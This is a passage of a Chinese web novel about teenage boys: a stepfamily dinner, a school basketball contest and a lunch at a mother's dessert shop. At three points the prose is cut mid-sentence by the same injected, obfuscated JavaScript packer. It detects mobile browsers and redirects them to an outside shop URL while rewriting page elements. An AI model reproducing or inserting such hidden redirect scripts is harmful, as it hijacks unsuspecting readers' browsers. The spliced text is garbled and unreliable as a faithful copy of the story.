下一瞬,张江洋连自行车都没来得及锁,两人像两股旋风发疯一般刮进了楼梯。 罗浩:“……” 不一会儿,罗浩就看见张江洋出现在他家阳台上,将自行车钥匙丢了下来:“胖子,帮我锁下车。” 罗浩虽然也是同龄人,但他时常对这兄弟俩随时随地就开始的比赛感到困惑,也委实搞不懂每一次这两个少年莫名其妙的胜负欲都是怎么产生的。 他捡起钥匙,摇了摇,示意自己知道了。等他锁完自行车,气喘吁吁爬到6楼,贺昭已经气定神闲站在门口欢迎他,手里还握着一罐冰气腾腾的可乐。 罗浩脱鞋进门,接过了可乐,问:“你们谁赢了?” 贺昭不无得意:“你爸爸。” 张江洋已经坐在餐桌前,闻言立即回过头:“明明是你耍诈,扒拉我。” 贺昭语气惋惜:“输了就是输了,弱者总喜欢找借口。” “好啦好啦,”林佩玲正从厨房端菜出来,笑着说,“小浩快进来坐。” 张江洋的爸爸张鹏正在厨房里炒菜,熟练地颠起铁锅翻炒,贺昭立即起哄:“哇哦好帅!” 张鹏没有回头,但是罗浩看到他不好意思地笑了一下。 不一会儿,张鹏端着另两个菜出来了,额头挂着汗:“小昭怎么也不提前说一声小浩要过来,不然我就做个油焖大虾。” 油焖大虾,罗浩的最爱。 罗浩连忙说:“不不不,张叔叔做的菜我都爱吃,是我不请自来打扰了。” 张鹏愣了一下:“不什么自来?” 张江洋噗嗤一声笑了:“爸,你快坐下吃吧,他就跟你假客气,一会儿准能吃三碗饭。” 张鹏也笑了:“能吃好能吃好,你们正长身体呢,是该吃多点。” 张鹏长得结实高大,常年的风吹日晒使他皮肤呈现一种健康的古铜色,但他气质却很温和,有一种说不上来的憨厚老实。他是一名运货的长途司机,时常十天半个月才能回一趟家,每次回家休息都会下厨变着法子做一桌好吃的。 罗浩有些不好意思了:“我减肥,吃两碗就好。” 林佩玲说:“你这个年纪就该能吃多少吃多少,减肥做什么?小朋友嘛,胖一点瘦一点没有关系的,健康才最重要。” 林佩玲眉眼和贺昭有三分相似,长得白净纤弱,说话轻轻柔柔,总让人感觉很舒服。 张鹏边往嘴里扒饭边连声附和:“对对,你阿姨说得对。” 罗浩看见林佩玲忍不住弯了弯眼睛。 罗浩和贺昭以前是邻居,两家人关系密切,他们也自小就认识,幼儿园小学都是同一所学校同一个班级,贺昭家里的事他大致都知道,大多是听他妈罗桂兰说的。 大约是四五年级的时候,贺昭的爸妈离婚了,贺昭跟他妈没多久就搬走了,罗浩和贺昭自那之后也没再怎么联系。过了几年,忽然听罗桂兰说贺昭的妈妈改嫁了,嫁给了一个司机,言语里隐隐有讽刺和不解。贺昭爸爸家是附近闻名的高知识分子家庭,祖上经商,家庭富裕,爷爷是某某领导,奶奶是知名大学教授,他爸贺闻彦在第一医院当医生。怎么看都是无可挑剔的模范家庭,至少在罗桂兰眼中是这样。 听说当年的离婚是林佩玲主动提出来,比起罗桂兰口中离婚后生活不顺遂的林佩玲,贺闻彦不到一年就再婚了,对象是一名中学老师,很快生了个女儿,生活美满而幸福。 直到高一入学,罗浩和贺昭重逢,贺昭长高了但总体没什么变化,而他妈看起来也没罗桂兰说得那样过得不好,反而比以前更爱笑了。 罗浩看了眼埋头苦吃的贺昭,他手边的可乐不断沁出水滴,滑落在桌上。 罗浩家里管得严,基本不让吃零食喝饮料,更别说是吃饭的时候喝可乐,甚至于连吃饭时说话都是大忌。他记得以前贺昭家也是这样,不知道是不是因为这个原因,贺昭到现在也是如此一开始吃饭就很少说话。罗浩倒是没养成这样的习惯,第一次来贺昭“没规没矩”的新家做客就觉得十分新鲜自在,没人管着他总忍不住想说点什么,也很喜欢听张叔和林姨在饭桌上有一搭没一搭地聊天。 张叔炒的菜很好吃也很重盐重辣,罗浩学着张江洋痛快地灌了一大口可乐。 然后发现易拉罐一下子空了。 他还没来得及细品可乐的美妙,居然就喝完了。 莫名有点儿忧伤。 贺昭抬头看了他一眼,问:“还要吗?” 不等他回答,贺昭支棱起椅子两条后腿,往后倾斜了一段距离,正好打开身后的冰箱,摸出一罐可乐放在罗浩手边。 林佩玲的目光落在了这罐可乐上,罗浩顿时有种说不上来的心虚。 谁知,林佩玲说:“冰箱里还有橙汁,小浩你想喝可乐还是橙汁?” 罗浩顿时热泪盈眶:“没事阿姨我都可以。” 张江洋吃饭很快,就像训练有素的军人,总带着风卷残云的架势:“哥,胖子,你们有没有听说今年市里会有‘名校杯’高中篮球赛啊?” 贺昭吃得差不多了,开始贫嘴了:“哎,弟,哥没听说。” 贺昭只比张江洋大10天,白捡了个便宜哥哥当。 张江洋噎了一下,笑骂:“神经病啊。” 贺昭说:“对,我神经病,半夜不睡觉跑到客厅做俯卧撑的人才正常,我说呢,原来又到了我们校队的主力张江洋同学发光发热、替校争光的时刻了。” 就昨天晚上,贺昭半夜醒来觉得渴了,打算到厨房喝杯水,却看见一个影子鬼鬼祟祟不知在客厅做什么,吓了一跳,拿起扫把打开灯一看是张江洋在做俯卧撑。 罗浩差点笑出了声。 张鹏闻言却严肃了:“小洋,下次不能再这样啊,要么在自己房间做,要么要开灯,吓到你妈怎么办?” 张江洋老老实实认错:“我错了,下次不会了。” 罗浩顿时想起来了,林佩玲有心脏病,听罗桂兰说过,她和贺闻彦就是在医院认识,当时贺闻彦的爸妈都不同意他娶一个有心脏病的人,但两人还是结婚了。 气氛有几分凝固了下来。 只有贺昭一下一下慢悠悠地晃着椅子喝可乐,过了一会儿,他似乎想起什么:“妈,叔,我们开学考试的数学成绩出来了,我考了99分。” 张江洋从小就没有妈妈,林佩玲和张鹏结婚后他很自然就开始改口叫林佩玲“妈”,但贺昭总是觉得很别扭,始终改不了口,幸好张鹏也从不跟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480236|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计较这些。 张鹏高兴了:“哇,99分,小昭果然像你妈,聪明,是读书的料子。” 张鹏没读多少书,总下意识认为科科满分都是100分,跟他解释过好几次,也不知是记不住还是没听不明白,依然搞不清楚。 张江洋哼了声:“总分150呢,也就刚好及格。” 张鹏忽然想起来这事以前就跟他解释过,有些悻悻地说:“哦哦,我又忘了,及格也好能及格也说明用功了。” 贺昭不服气了:“嘿,张江洋,你一个没及格的凭什么说我刚好及格?” 张鹏的注意力顿时被转移了:“张江洋,你又没及格?” 张江洋当即反驳道:“贺昭像他妈,那我不是像你吗?四肢发达头脑简单。” 张鹏愣了一下,似乎觉得他说得也有道理:“算了算了,你别惹事安安分分上学我就满足了。” 林佩玲轻声细语地说:“哎呀,不能这么说孩子,学习成绩只是一部分,每个孩子都有自己的闪光点,小洋篮球打得好也很厉害很难得。” 张鹏附和:“是是是。” 张江洋最喜欢看他爸在林佩玲面前的怂样,嘿嘿地笑:“妈,到时候我代表我们学校打进市里决赛,你可一定要来看。” 林佩玲笑着说:“好好好,我一定带着相机去给你拍照。” 得意了。 贺昭觉得张江洋如果有尾巴已经摇起来了,丝毫不记得六中从来没进过“名校杯”决赛的优良传统。 贺昭说:“真有那一天我们全家一定去给你加油,再加上胖子。” 他故意加强了“真有”两个字的语气,但是估计张江洋听不出其中玄机。 果然,张江洋更高兴了:“好啊!” 听出玄机的罗浩顿了一下,但他不想卷入兄弟俩若有似无又幼稚的明争暗斗,继续展示他的超强战斗力,夹了满满一筷子辣椒炒肉并就势换了个话题:“‘名校杯’得11月了吧,开学后我们学校不是会先有自己的‘校长杯’吗?” 张江洋自信满满:“‘校长杯’还有悬念吗?我们班三个校队的,三个,秒你们三班那是分分钟的事。” 张江洋所在的11班打篮球确实很厉害,但是他说话这鄙夷的语气瞬间激起了贺昭的胜负欲,不服气的说:“我们班也有一个校队的啊。” 张江洋一说起篮球可谓是头头是道,滔滔不绝:“我知道,你们体委何崇山,何大仙嘛,姜林打得也还行但是个子不够高,除此之外也就那样了,估计能进个前八强吧。” 贺昭说:“你是不是忘了三班还有你哥我呢?” “你?”张江洋瞥了他一眼,“你太瘦,人要是野起来,你顶用个屁,胖子还结实点,不过看起来有点儿虚,估计跑不动。” 罗浩莫名其妙中枪:“???” 贺昭“呵”了声:“你的消息也太滞后了吧?我们班有个新来的,身高至少185,美国长大的,自小打篮球,你就等着吧。” 张江洋被成功唬住了:“真的假的?” 当然是假的,身高至少185是真,美国长大是真,但鬼知道他会不会打篮球。 真假混杂的消息最能糊弄人。 罗浩自小被教育绝不能撒谎,含糊地跟着“嗯嗯”了几声,以示他赞同贺昭的前半段话。 张江洋却莫名其妙兴奋了,打了个响指:“真那么厉害?那我就等着了。” 5. 恩人 仅过了一周,周一的升旗仪式上,校长一番慷慨陈词后,满怀激情地宣布“校长杯”篮球赛正式拉开序幕。 比起当场欢呼的C班,AB班对这件事则冷淡许多。 贺昭十分确定,整个3班最激动的人是老周。 贺昭就排在队伍最后面,清清楚楚看见校长宣布这件事时,在附近徘徊的老周脸上缓缓泛起了一丝蒙娜丽莎般神秘的微笑。 众所周知,老周是篮球迷。 就连手机壳都是某篮球明星的照片。 贺昭在心底做了个预判,老周肯定升旗仪式一结束马上就找何崇山,兴许连回教室都等不及了。 谁知,升旗仪式刚结束,老周却背着手截住了他:“贺昭啊跟新同学相处得怎么样啊?” 还能怎么样?一星期也没怎么说过太多话,好像熟了一点又好像没有。 贺昭斟酌了下用词,做了个总结:“还行吧。” 老周满脸慈爱:“老师知道你是个乐于助人的好孩子,如果新同学生活上学习上有什么问题,你要多照顾照顾他,你解决不了的就告诉我,让老师来解决。” 贺昭露出招牌乖乖好学生的笑容:“知道啦小明老师。” 老周又问:“那他有没有跟你透露过他会不会打篮球啊?” 贺昭摇摇头:“没有。” 老周:“哦这样啊,那你去问一下,然后记得来办公室跟我做个汇报。” 贺昭:“???” 为什么是他问? 没等他想出婉拒的话,老周已慢悠悠地游荡开了,看这方向是直奔前面的何崇山而去了。 回到教室,贺昭刚坐下,何崇山几步滑了过来:“昭哥,你同桌会不会打篮球啊?” 贺昭:“我怎么知道。” 为什么都问他?他看起来和易时很熟吗? 何崇山:“那你问一下?” 贺昭:“你干嘛不问?” 何崇山说:“拜托拜托,我脸皮薄怕生。” 贺昭:“卧草?” 就何崇山这自来熟的劲儿,贺昭认识的人中只有张江洋能与之媲美,他如何说得出“脸皮薄怕生”这五个字。 何崇山对他抛了个媚眼,又几步滑走了。 明明穿着普通的运动鞋,灵活得跟脚下蹬着溜冰鞋一样。 左侧响起些微声响,有人坐下了,贺昭一看,果然是易时回来了,怪不得何崇山跟见鬼一样跑得那么快。 何崇山在不远处对他做了个加油的手势,他身边几个人也跟着好奇地探头望了过来。 其实贺昭多多少少也明白他们的想法,这个年纪的少男少女总是特别敏感,自我意识蓬勃又在乎别人的看法,简而言之特别好面子。易时刚加入这个班级,对于班上的人来说很陌生,陌生得还算不上这班上的一员。他个性又冷,看起来不太好接近,班上不乏有人对他好奇,但好奇是一回事,会不会放下面子主动亲近又是另一回事。 一瞬间,贺昭觉得自己似乎也明白了老周的良苦用心,老周故意让他去问估计是看出易时不太合群,希望他和易时能多点交流沟通吧。 至于何崇山,铁定是怕主动搭话尴尬抹不开面子,贺昭也没想到他这么糙的人也有这么细腻的心思。 贺昭心想,这有什么问不出口的,嘴一张不就问出来了吗? 他转过头,易时正在看书,定睛看清侧边竖条上的小字,居然是《文言文教材全解》。 贺昭注意到易时专心致志看的这一篇是高一时候学的课文,是最简单的一篇。他不知道美国高中生都在学什么,数学化学英语这些科目应该也会学,但是语文嘛尤其是文言文肯定没有,也不知道易时会不会学得很艰难,或许他可以帮帮他? 下一秒,易时侧过头,撞上了他的视线。 易时漆黑的眼睛看着他,没有什么情绪也看不出什么异样。 可不知道为什么,贺昭却顿时有一种偷窥被抓的微妙感觉。 僵持了几秒,贺昭正要开口“老周让我问你会不会打篮球”。 话语萦绕在舌尖,就势决堤而出,易时低下了头。 贺昭:“……” 他对着何崇山做了个无奈摊手的动作,何崇山回了他一个拜托合十的动作。 贺昭咬了咬牙,果断地开了口:“你……” 易时闻声看向他,见他卡住了没说下去,问了句:“有事?” 听听这什么语气?就不能说“同学有事吗”,哪怕只多个“吗”都显得亲切一些啊。 贺昭憋了半天,盯着他胸前的空白说:“升旗仪式你不戴校卡会扣分。” 听听我这说的又是什么话??什么扣不扣分的,他一看就是校卡还没办好啊。 易时点了点头:“知道了。” 贺昭在心里叹了口气,抽出了语文课本,打开到最新的一篇课文。 盯着课文做了长达三分钟的心理建设,他暗暗吸了一口气,不死心地再度转过头,易时正在看他。 贺昭顿时觉得自己扳回一城,精神抖擞地问:“有事?” 易时合上了《文言文教材全解》,淡淡提醒:“下一节是英语课。” 哦。 哦! 贺昭收起了语文课本,又抽出了英语课本。 他有些灰心地想,怎么就这么难呢?他虽然算不上人见人爱,好歹上幼儿园的时候班上就好几个同学都抢着要跟他做朋友啊。 忽然,两只曲起的手指轻轻叩了叩他的桌面。 贺昭疑惑地转过头。 易时静静看了他两秒,主动开口:“你想问我什么?” ??? 天是要塌下来了吗?还是上帝施恩打算给他开一扇窗?他的冰山同桌竟然主动找他搭话了。 易时张了张嘴,正要说话,英语老师踩着高跟鞋,带着激昂的热情从后门进来了:“Goodmorningeverybody!” 然后就站在了贺昭的旁边。 贺昭仿佛看见上帝又把这扇窗缓缓关上了。 周一的早晨,一个星期的开端,贺昭莫名其妙在同一人身上连续受挫,于是放任自己一蹶不振地沉浸游戏世界里,是的,游戏世界。英语是他擅长的科目,物理是他最不擅长的科目,这两门课他一般都不认真听课,一个是不用听,一个是听不懂,凑在一起正好给了他一个忘记痛苦专心致志地玩消消乐的上午。 而易时也没再主动找他说话。 贺昭有些郁闷,但比贺昭还郁郁寡欢的是罗浩。 罗浩的妈妈被罗浩开学考试下滑一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480237|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名的成绩刺激到了,放弃了午托,不知从哪找了个据说很厉害的私教,让罗浩从这周一开始每天中午去老师家吃饭以及上课。 中午放学,贺昭觉得罗浩踏出教室的背影都沉重了许多,仿佛背上压了一个“山”字。 妈没要求爸很忙的贺昭慢悠悠地晃出教室,目光从应该是老师拖堂迟了几分钟飞奔向饭堂的莘莘学子身上扫过,没漏过他们脸上坚毅而顽强拼搏的神情,心中顿时闪过今天早上校长演讲中的话——“高考就是无硝烟的战场”,默默在心中补了句“饭堂也是无硝烟的战场”。 走了好一会儿,贺昭发现易时居然走在他身后大约一米的地方。 贺昭不动声色地一路关注,发现易时竟然就这样跟着他走过校道,跟着他走出校门,跟着他拐进左边的街。 他要干嘛?他想去哪?他为什么跟在后面? 贺昭脑袋上划过一串问号。 他很想开口问,但是易时分明摆着一副谁都别跟我说话的自闭臭脸。 这吸血鬼难道还想故技重施吓本少年? 不至于这么无聊吧。 突然,贺昭脚下一顿。 易时该不会是一直惦记着上午没说完的话吧?毕竟他都主动开口问他了。 虽然吧易时这个人看起来冷冷的,会不会就跟何崇山一样,看起来糙其实内心也有细腻柔软的地方。 想想其实他也挺不容易的,突然转学过来,环境生活变化那么大,四周那么陌生,也没什么朋友。加上他性格又闷,就连没有数学卷子也不吭声,既不跟老师说也不出声,还得等别人发现。 所以易时一路跟着他,是等着他主动发问啊? 不会吧不会吧,世界上真的会有这么别扭的人吗? 算了,问一问吧,就说“易时,好巧啊,你怎么在这儿”。 眼看他妈妈的“甜蜜时光甜品店”就在前方两米,贺昭停下脚步,正要回头,却发现易时趁他思绪乱飘的时候走到了他前面,正推开“甜蜜时光”的门,走了进去。 贺昭一脑子的想法顿时被击碎。 原来不是跟着他,而是易时也要去甜蜜时光。 得。 很好。 他妈妈的店这么受欢迎,连新同学都慕名而来,他当然很开心。 林佩玲似乎就站在门边,轻轻柔柔的嗓音飘了出来:“你终于来了,我还担心你会不会不来。” 贺昭脑袋上一连串的问号又冒了出来。 看样子是在跟易时说话??? 什么情况??? 林佩玲透过玻璃门看见了贺昭:“诶,小昭,傻站着干嘛?快进来呀。” 易时回头看他,保持着推开门的动作。 贺昭两步跑了进去,易时松手关上了门。 贺昭好奇地问:“妈,你们认识啊?” 林佩玲轻笑了一声:“是呀,怎么,你们也认识啊?” 贺昭本来想说新同学,想了想,新同学旧同学不都是同学,便改口说:“我同学,你们怎么认识的?” 中午是店里的小高峰,不少同学在收银台前排队,显得有些拥挤,林佩玲说:“先上楼吃饭,边吃边说,你这同学可是妈妈的恩人呢。” 恩人??? 这么严重??? 6. 午饭 甜蜜时光有两层,二楼最里面靠窗的位置是贺昭的专属座位,贺昭中午在这里吃饭,周末在这里学习,林佩玲常年在那张桌摆着“已占座”的笑脸牌。 走上二楼,贺昭的专属位置已摆着好几道林佩玲的拿手好菜,看得出来还特地用心地摆了盘。 林佩玲热情地招呼易时坐下:“阿姨也不知道你喜欢吃什么,就随意做了做,要是不合胃口就跟阿姨说,厨房就在下面阿姨给你做别的。” 她这么一说,贺昭才想起易时在美国长大,而林佩玲做的全是贺昭喜欢吃的,基本都是红彤彤一片。 他嘴快,马上说了句:“妈,他美国长大的。” 林佩玲有些意外:“啊,那是不是吃不太习惯中餐啊,能吃辣吗?这些菜会不会太辣?要不阿姨去附近西餐厅买些吃的?你喜欢吃什么?千万不要跟阿姨客气。” 易时冷漠地看了贺昭一眼,仿佛在无声谴责他多事,贺昭撇了下嘴角,别开了他的视线。 易时低声说:“不用麻烦,我什么都吃。” 顿了顿,像是怕林佩玲不信,又说:“我外婆经常做中餐,吃得惯。” “吃得惯就好,吃得惯就好,”林佩玲松了一口气,“你们快吃呀,一会儿都要凉了。” 贺昭往里面挪了挪,留出了个位置:“你也坐下来吃。” 林佩玲坐了下来,将手在围裙上擦了擦:“中午忙,我和那两个小姑娘在你们下课前就吃过了。” 甜蜜时光生意还不错,林佩玲一个人忙不过来,雇佣了两个年轻女孩子在店里帮忙。 对于易时和他妈贺昭实在是好奇极了,只吃了几口就忍不住再度开口:“妈,你还没告诉我你们怎么认识的呢。” 怎么就是恩人了。 林佩玲说话向来温声细语,一字一句都很轻,跟讲睡前故事一样:“哎呀,妈妈昨晚不是跟你说了吗,昨天一早啊我没来得及来店里开门,送货的赶时间就把货卸在了店门口。我赶到店的时候正忧愁着该怎么把货搬进去,结果啊遇上了一个穿着你们学校校服的热心人,热心人主动都帮我搬进来了,还做好事不留名。宝贝你说,你这同学是不是妈妈的恩人?妈妈是不是该请他吃个饭呀?” 贺昭想起来了,林佩玲确实跟他说过这事,但是他怎么也想不到这位热心人竟然是易时。 贺昭又想起一个问题:“你昨晚不是说不知道叫什么名字吗?你怎么找到他的?” “我今天早上特地在校门口打转,见到他了呀,你说巧不巧?”林佩玲笑吟吟地说,“我特地看了他书上的名字,就威胁他啊要是中午不来吃饭,我就去学校找老师专门感谢他。” 威胁??? 贺昭一口饭噎住了,艰难地咽了下去,睁大眼睛不可思议地看着林佩玲:“妈,你可真不愧是我亲妈。” 竟然还有这么狡猾的手段。 他用眼角余光觑易时,易时脸上没什么表情,一副全神贯注认真吃饭的模样,眉眼低垂压住了平日的冷感,鼻子挺拔轮廓分明得像线条勾勒出来的雕塑。虽然一直一言不发,可刚刚他握着筷子的手指明明别扭了好几下。 绝对不会错。 贺昭有意观察易时用筷子,想看他需不需要换成叉子汤匙,结果发现他的姿势很标准,夹菜的动作也很流利,只有在林佩玲用“热心人”“恩人”这样的词形容他的时候,极为不自然地僵了僵。 绝对是不好意思了。 没想到看起来冷冷的脸皮还挺薄。 也不对,脸皮还挺厚,不好意思竟然一点点脸红都没有,脸皮厚得透不出来呀这是。 要说吧易时这男生高冷吧也真高冷,但不是目中无人不近人情的高冷,就像罗浩说的还挺有礼貌,可就是不知道是不想还是不擅长跟人交流,不爱说话。 一副爱谁谁,谁都跟他无关的模样。 没想到,竟然是个傲娇。 贺昭善解人意地没有继续这个话题:“以后有这种时候啊你就应该打电话让张江洋过来搬,对了,张江洋呢?怎么没来吃饭?” 林佩玲:“他一下课就来啦,说要练球,打包带走了。” 贺昭无语了:“打包???” 虽然是在店里吃饭,但饭菜都是林佩玲特地为他们做的家常菜,就跟在家里一样。 竟然会有人回家打包饭菜带走?就忙得吃个午饭的时间都没有? 贺昭额角有不明显的汗,林佩玲抽了张纸巾纸巾轻轻帮他擦了:“难得见他那么高兴,就随他去吧。你们吃哈,我就不打扰你们年轻人了,我先下去啦。” 林佩玲站起身走了两步,听见贺昭还在喃喃地嘀咕:“张江洋难得那么高兴?我怎么觉得他没有哪天是不高兴的。” 忍不住笑了一下,轻轻摇了摇头。 林佩玲下楼后,一下子安静了下来。 不对,贺昭在脑里纠正,应该说热闹都是隔壁桌的,是他们桌安静了下来。 贺昭看着易时,打破了这份沉默:“谢谢你帮我妈。” 易时声音很低,有些许鼻音,还带着点微微的哑:“不用。” 贺昭停了几秒,迅速站起身,几步下了楼,不一会儿,拿着两瓶冰冻过的矿泉水蹭蹭蹭跑了上来,将其中一只递给他:“你不能吃辣啊?” 易时拧开水,猛地灌了几口,才说:“没事。” 易时刚刚一直低着头,贺昭这才发现他嘴唇都辣红了。 这哪里像没事啊。 如果不是他发现,这人不会就一直这么硬撑着不说吧? 贺昭脱口而出:“那你刚刚怎么说你能……” 说到一半他忽然想起易时根本没有说自己能吃辣,他说的是“我外婆经常做中餐,吃得惯”。 靠。 居然还挺诚实挺有原则。 也不打诳语只是含糊过去。 贺昭顿时没脾气了:“你这人真是……” 一下子又想不出什么形容词,过了一会儿,对他伸出大拇指:“……绝了。” 易时很快就吃饱了,吃完也不吭声就默默坐着,手里还攥着那瓶矿泉水。 贺昭心想,也不知道是真吃饱了还是辣饱了。 细嚼慢咽的贺昭吃饱喝足后,特地看了眼易时的嘴巴,还行,没肿,好像褪红了。 而易时似乎一直在等这一刻,贺昭刚放下筷子他就站起身,贺昭愣了两秒才看出他打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480238|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾碗筷,连忙摆摆手阻止他:“没事,放这儿就好了,待会儿我妈有空了会来收拾。” 易时没有说话,松松挽起了袖子,于是贺昭又说:“听我一句劝,要是你今天收拾了碗筷,我妈她明天还要请你吃饭。” 易时终于停止了动作。 贺昭顿时觉得有些好笑,怎么也没想到易时的克星竟然是他妈妈。 贺昭站起身:“走了走了,回学校吧。” 贺昭先一步走到楼梯口,再度催促:“走啊,你不抓紧时间回去看你的文言文啦?” 易时这才走了过来。 回教室路上又是一路无言。 教室在五楼,爬到三楼的时候贺昭突然问:“易时,你是不是特别怕麻烦别人?” 虽然今天中午也就一起吃了个饭,但他好像也稍微看懂了点易时这个人。 易时确实有种锋利感,但接触后发现并不尖锐,锋利而沉默。 早在第一次见面,贺昭就看出易时身上有一股傲气,之前也不是没遇见过骄傲的人,反正少年意气也就那么回事,面子大过天爱炫耀,但是易时的傲不是竖起来向外的,更多是源于自己。 贺昭在很多时候也会有莫名其妙的高自尊,但是他莫名觉得易时的自尊心应该还要比他强得多。 这样的人最不能忍受的就是麻烦别人,所以没有试卷不说,不能吃辣不说,被辣到了也不说。 贺昭比易时快几个台阶,从上往下看着他:“其实很多时候,也许别人并不觉得你在麻烦他。” 易时定了几秒,顺着阶梯往上走,走到贺昭身边的时候没有停顿,低低应了句:“知道了。” 知道了? 你知道什么了就知道了? 你知不知道本帅哥在主动跟你示好? 你知不知道我在暗示你有事可以麻烦我? 你这样说,让本帅哥如何往下接? 贺昭咬牙盯着易时,他正在往上走,背影又高又瘦带着这个年纪特有的骨骼分明。 从下往上看是一个特别的角度,贺昭发现易时的骨架长得特别好,宽广挺拔又不单薄,就好像他曾在博物馆见到的鸟类骨骼,轻盈而坚固。 贺昭跟在易时后面,不知是不是错觉,总觉得易时的步伐很慢很安静,一阶一阶,就像落单的鸟儿孤零零的,又像在等什么。 贺昭不喜欢这种感觉。 他下意识几步蹿了上去,走在了易时旁边,走了几步,他感觉到易时似乎在配合他,也加快了一点速度。 贺昭刚刚无故起来的一点点脾气又下去了。 贺昭:“老周让我问你会不会打篮球。” 踏马的,终于说出来了。 易时没有立即回答,似乎在思考。 贺昭敏锐地察觉到了他的停顿。 会不会打篮球这么简单的问题还要思考? 这绝逼会啊。 他提醒了句:“你好好想想再回答我,我们要做诚实的好孩子,虚伪的话你自己去跟老周说。” 易时沉默了,在踏入教室的时候,他说:“会。” 贺昭顿时笑了,颇有几分张扬恣意:“这才像话嘛易时同学。” 7. 弟弟 罗浩已经回到教室了,听见贺昭的声音回过头:“昭哥……” 看到贺昭是和易时一起进来,愣了一下。 贺昭一眼就看见了罗浩眉目间隐约带着挥散不去的憋屈,随口问:“咋了儿砸?新老师欺负你啊?” 这一提醒,罗浩想起来自己刚刚想说什么了,委屈巴巴地控诉:“那老师说我太胖了不健康,让我吃健身沙拉,而且吃饭掐时间只能吃十分钟,做题还要掐时间,一道题一道题地掐。” 贺昭回到座位坐下,毫无同情心地大笑了起来,笑完才说:“唉,看来我得找你妈谈谈心了,逼太狠对孩子不好,不利于孩子身心健康发展啊。” 罗浩被他逗乐了:“你找我妈谈?你成绩还不如我,我妈能听你的?怎么也得老师或者大学霸的话我妈才听得进去。” 贺昭:“那只能让小蝴蝶找你妈谈谈心了。” 徐梦凡,外号“小蝴蝶”,A班常年盘踞在前三名的学霸,也是贺昭的初中同学。 罗浩:“得了吧,徐梦凡跟我一个补习班,我们补习老师说徐梦凡每天学习到凌晨两点,不到六点就起来读英语,估计我妈和她谈完会出新的军训方案。” 贺昭“啧”了声:“怎么现在的年轻人都这么拼,睡眠不足容易长不高啊。” “那可不,现在你知道你是多幸福的孩子了吧?”说完这一句,罗浩突然压低声音问,“你们刚刚怎么一起进来啊?” 贺昭顿时有点儿无语,虽然罗浩特地压低了声音,但是易时就坐他旁边,不到半米的距离,他能听见易时就能听见。 这还不如用正常音量正常问呢,弄个差别音量搞得好像在背地里偷偷说别人坏话一样。 贺昭用和方才说话一致的音量回他:“刚刚在我妈那吃饭呢。” 罗浩的声音还是低低的:“易时也在你妈那吃啊?” 贺昭本来想说“人家可是我妈的恩人呢”,又觉得易时的性格应该不喜欢他这样大肆宣扬,反问了句:“你在我妈那还吃得少啊?” 或许是父母图方便直接往饭卡里充钱不用担心孩子拿钱乱花,或许是学生图便利,住宿的吃完直接回宿舍走读的吃完回教室,六中的学生大多都是在饭堂吃饭,但也有不少人把甜蜜时光和校外其他美食店当成改善伙食的去处。 林佩玲人好,每次都会给贺昭和张江洋的同学朋友打折,一有机会他们就往甜蜜时光里凑。 罗浩想想也是,甜蜜时光还挺好吃,装潢又比附近的店好看一点儿,空调也给的足,易时会注意到它去那吃饭也没什么好奇怪。要是他不用去午托,不用去补课老师那里,他也选择去甜蜜时光。 如果他可以选择的话…… 想到这儿,罗浩幽幽叹了口气。 “哥!” 张江洋抱着篮球大汗淋漓冲了进来。 虽然在同一个学校同一年级同一层楼,但3班在这一端,11班在另一端,教学楼分别在两侧和中间都有楼梯,素来井水撞不上河水,张江洋也鲜少来找他。 贺昭:“?” 张江洋大咧咧地说:“我们老师知道你是我哥,让我来跟你讨教学习方法。” 什么鬼? 讨教学习方法? 跟他? 贺昭:“啊?” 张江洋毫无羞愧之心地解释:“周测验成绩出来了,我全班倒数第三。” C班全班倒数第三??? 贺昭知道张江洋学习成绩差,但是没想到竟然这么差。 贺昭成功被打败了:“张江洋你是踩了狗屎才考上六中的吧?说吧怎么讨教?借笔记?” 张江洋懵了:“我不知道啊,老师就说跟你讨教学习方法,你也不会啊?” 贺昭:“……你回去告诉你们老师,你没救了,你哥早就放弃治疗你了。” 罗浩在一旁不停地笑,笑着笑着反应了过来,脸上的笑容渐渐消失:“周测验成绩出来了?” 六中的规矩,一周只有周日休息,周六照常上学,不过周六这天也不怎么上课,一般都专门拿来做周测验。 张江洋这个学渣丝毫不理解别人面对成绩的痛苦和紧张,轻松地点点头:“对呀你们肯定也出了,我刚刚经过办公室就看见你们老周很激动,根据我的经验要么有差生考好了要么有好学生考差了。” 听了这话,罗浩这个3班尖子生的脸色更凝重了。 贺昭看不下去了:“滚滚滚,滚回你班去,别在我们班妖言惑众。” “什么妖言惑众,反正迟早也会出成绩……” 